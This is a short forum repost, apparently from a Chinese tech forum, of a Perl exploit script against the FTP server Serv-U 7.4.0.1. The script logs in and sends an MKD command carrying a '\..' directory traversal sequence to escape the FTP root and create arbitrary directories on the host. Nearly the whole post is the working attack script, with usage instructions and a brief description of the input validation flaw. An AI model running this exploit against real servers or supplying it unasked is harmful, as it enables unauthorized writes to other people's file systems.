Serv-U 7.4.0.1 (MKD) Create Arbitrary Directories Exploit

来源:天阳网络技术论坛

Serv-U 7.4.0.1 创建任意目录 perl脚本

  1. #!/usr/bin/perl  
  2. # Soft    : FTP Serv-U  
  3. # Version : v7.4.0.1  
  4. #  
  5. # A vulnerability is caused due to an input validation error when handling FTP "MKD"   
  6. # requests. This can be exploited to escape the FTP root and create arbitrary directory on   
  7. # the system via directory traversal attacks using the "\.." character sequence.  
  8. #  
  9. #  
  10. # Author: Jonathan Salwan  
  11. # Mail: submit [AT] shell-storm.org  
  12. # Web: http://www.shell-storm.org  
  13.  
  14.  
  15. use IO::Socket;  
  16. print "[+] Author : Jonathan Salwan \n";  
  17. print "[+] Soft: FTP Serv-U\n";  
  18.  
  19.         if (@ARGV < 4)  
  20.                 {  
  21.                 print "[*] Usage: <serv-u.pl> <host> <port> <user> <pass> <dir>\n";  
  22.                 print "[*] Exemple: guildftp.pl 127.0.0.1 21 jonathan toto ..\\\\dir\n";  
  23.                 exit;  
  24.                 }  
  25.  
  26.         $ip         = $ARGV[0];  
  27.         $port         = $ARGV[1];  
  28.         $user        = $ARGV[2];  
  29.         $pass        = $ARGV[3];  
  30.         $dir        = $ARGV[4];  
  31.  
  32. $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "\n[-] Connecting: Failed!\n";  
  33.  
  34. print "\n[+] Connecting: Ok!\n";  
  35. print "[+] Sending request...\n";  
  36.  
  37.         print $socket "USER $user";  
  38.         print $socket "PASS $pass";  
  39.         print $socket "MKD $dir";  
  40.  
  41.                 sleep(3);          
  42.                 close($socket);  
  43.  
  44. print "[+]Done! directory $dir has been created\n"

 

Leave a comment

Your comment

Why not Login? Sign up now! »